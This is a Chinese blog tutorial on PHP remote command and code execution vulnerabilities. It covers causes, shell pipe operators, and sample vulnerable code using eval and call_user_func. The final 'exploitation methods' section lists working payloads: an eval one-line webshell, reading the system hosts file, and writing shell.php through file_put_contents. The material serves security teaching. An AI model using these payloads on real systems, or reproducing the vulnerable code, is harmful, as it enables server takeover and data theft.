首页 > 其他分享 >命令执行漏洞概述

命令执行漏洞概述

时间:2024-05-26 13:03:59浏览次数:18  
标签:函数 命令 phpinfo 漏洞 实例 概述 执行

一、基本定义:

命令执行漏洞是指攻击者可以随意执行系统命令,分为远程命令执行(远程代码执行)和系统命令执

行两类。

二、原理

程序应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、

passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系

统命令拼接到正常命令中,从而造成命令执行攻击。

三、两个条件

①用户能够控制的函数输入

②存在可以执行代码或者系统命令的危险函数

四、命令执行漏洞产生的原因

①由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交

恶意构造语句,并提交服务端执行

②命令注入攻击中,Web服务器没有过滤类似system、eval和exec等函数,是该漏洞攻击成功的

主要原因。

五、命令执行漏洞带来的危害

①继承Web服务程序的权限去执行系统命令(任意代码)或读写文件

②反弹shell

③控制整个网站甚至控制服务器

④进一步内网渗透

实例1:

编写一个1.php,内容如下,可以通过提交一个cmd命令来使其执行

实例2:

动态函数调用

实例3:

危险函数导致代码执行

管道符号

LinuX

;前面的执行完执行后面的

|是管道符,显示后面的执行结果

||当前面的执行出错时执行后面的

Windows

&前面的语句为假则直接执行后面的

&&前面的语句为假则直接出错,后面的也不执行

|直接执行后面的语句

||前面出错执行后面的

通用命令符

command1&& command2    command1执行成功才执行command2

command1 | command22       只执行command2

2command1 & command2    command1和command2之间互相不影响

常见场景

①Ping主机

②DNS请求

③Office文档

④框架缺陷

六、远程命令执行漏洞相关函数

在PHP下,允许命令执行的函数有:

①eval()

实例:

<?php
$var = "i";
if (isset($_GET['arg'])) {
    $arg = $_GET['arg'];
    eval("$var = '$arg';");
    echo "\$var = ".$var;
}

当提交http://127.0.0.1/4.php?arg=phpinfo();漏洞产生。

注意: 使用 eval() 函数执行字符串中的PHP代码。这里的代码是将 $arg 的值赋给 $var。注意,

这里的表达式是 $var = '$arg';,其中 $arg 被单引号包围,意味着 $arg 中的内容将被当作字符

串处理。

②assert()

和eval()函数类似,此处不在举例

③preg_replace()

/e已被废弃,此处做了解

④call_user_func()

http:/127,0.0,1/phpos,call_user_funcphp?a=assert&b=phpinfo()

<?php
if (isset($_GET['a'])) {
    // 调用用户函数,传递从GET请求中获取的参数'a'和'b'
    call_user_func($_GET['a'], $_GET['b']);
} else {
    // 如果GET参数'a'未设置,提示用户输入
    echo "Please input a";
}

call_user_func 是一个PHP函数,用于调用第一个参数指定的函数名,其余参数作为调用的函数

参数传递。这里假设 $_GET['a'] 是一个函数名,$_GET['b'] 是传递给这个函数的参数。

⑤ $a($b)

这里使用了PHP中的可变函数特性。$a存储的是一个函数名,$b是该函数的参数。例如,如果URL

?a=assert&b=phpinfo(),则这行代码会执行assert(phpinfo());

http://127.0.0,1/php/os/kbhs.php?a=assert&b=phpinfo()

<?php
if (isset($_GET['a']) && isset($_GET['b'])) {
    $a = $_GET['a'];
    $b = $_GET['b'];
    $a($b); // 可变函数调用
} else {
    echo "Please input both 'a' and 'b'";
}

如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏

洞。

七、利用方式:

①?a=@eval($_POST[111]);    一句话木马

666=phpinfo()

②?a=print(_FILE_);  获取当前绝对路径

③?a=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts')); 读取文件

④?a=var_dump(file_put_contents($_POST[1],$_POST[2]));1=shell.php&2=<?php phpinfo()?>写

shell

一、基本定义:

二、原理

三、两个条件

四、命令执行漏洞产生的原因

五、命令执行漏洞带来的危害

实例1:

实例2:

实例3:

管道符号

通用命令符

常见场景

六、远程命令执行漏洞相关函数

七、利用方式:


标签:函数,命令,phpinfo,漏洞,实例,概述,执行
From: https://blog.csdn.net/qq_52712762/article/details/139177817

相关文章

  • Linux 常用命令
    Linux常用命令查看资源使用情况top命令:实时显示系统资源的使用情况,包括CPU使用率、内存使用情况、进程信息等。它可以实时更新数据,您可以使用交互命令对输出进行排序和过滤。htop命令:与top类似,但提供了更友好的用户界面和更多的功能,如更丰富的进程信息和交互式......
  • 4.Redis之Redis的通用命令
    0.Redis实战操作通过redis-cli客户端和redis服务器交互涉及到很多的redis的命令【redis的命令非常非常多!!!1.掌握常用命令(多操作多练习)2.学会使用redis的文档->阅读文档,是程序猿的基操!!redis的命令非常非常多!!!1.掌握常用命令(多操作多练习)2.学会......
  • Docker常见命令
    目录一、系统管理命令1、启动Docker服务2、停止Docker服务3、重启Docker服务4、设置Docker开机启动5、查看Docker服务状态6、查看Docker版本信息二、镜像管理命令1、查看本地镜像2、搜索DockerHub上的镜像2.1、常见选项2.2、示例:搜索星数大于100的MySQL镜像并限制搜索结果为5个3......
  • MySQL Grant命令
    MySQL赋予用户权限命令的简单格式可概括为:grant权限on数据库对象to用户 MySQL高级教程:http://cainiao.guashuw.com/一、grant普通数据用户,查询、插入、更新、删除数据库中所有表数据的权利。grantselectontestdb.*tocommon_user@'%'grantinsertontestdb.*......
  • MySQL命令大全
    1、连接Mysql格式:mysql-h主机地址-u用户名-p用户密码1、连接到本机上的MYSQL。首先打开DOS窗口,然后进入目录mysql\bin,再键入命令mysql-uroot-p,回车后提示你输密码.注意用户名前可以有空格也可以没有空格,但是密码前必须没有空格,否则让你重新输入密码。如果刚安装好MYSQL,超级......
  • Git命令规范及Nvm的命令使用
    yarn安装npminstall--globalyarn淘宝镜像设置yarnconfiggetregistry>>查看当前镜像yarnconfigsetregistry https://registry.npm.taobao.org >>设置淘宝镜像npmgetregistry>>查看npm当前镜像npmconfigsetregistry https://registry.npm.taobao.org >......
  • cmdlet_命令查询
    Subcmdlet_命令查询()''查找宏''Result=select_range("cmdlet命令","Server2016core")Selection.Find.ClearFormattingSelection.Find.Style=ActiveDocument.Styles("标题2")WithSelection.Find......
  • Docker常用命令
    docker基础命令systemctlstartdocker启动dockersystemctlstopdocker关闭dockersystemctlrestartdocker重启dockersystemctlenabledockerdocker设置随服务启动而自启动systemctlstatusdocker查看docker运行状态docker......
  • android git提交代码命令以及常见命令的使用
    安装GitUbuntu:sudoapt-getinstallgit-core创建代码仓库:配置身份:gitconfig--globaluser.name"Tony"gitconfit--globaluser.email"[email protected]"查看身份:gitconfig--globaluser.namegitconfit--globaluser.email提交代码流程创建本地仓库:进......
  • 网络工程师必会的新一代网络安全工具Goby安装、子网扫描、资产收集、漏洞扫描与报告生
    1.什么是Goby?Goby是一款基于网络空间测绘技术的新一代网络安全工具,它通过给目标网络建立完整的资产知识库,进行网络安全事件应急与漏洞应急。Goby可提供最全面的资产识别,目前预置了超过10万种规则识别引擎,能够针对硬件设备和软件业务系统进行自动化识别和分类,全面的分析出......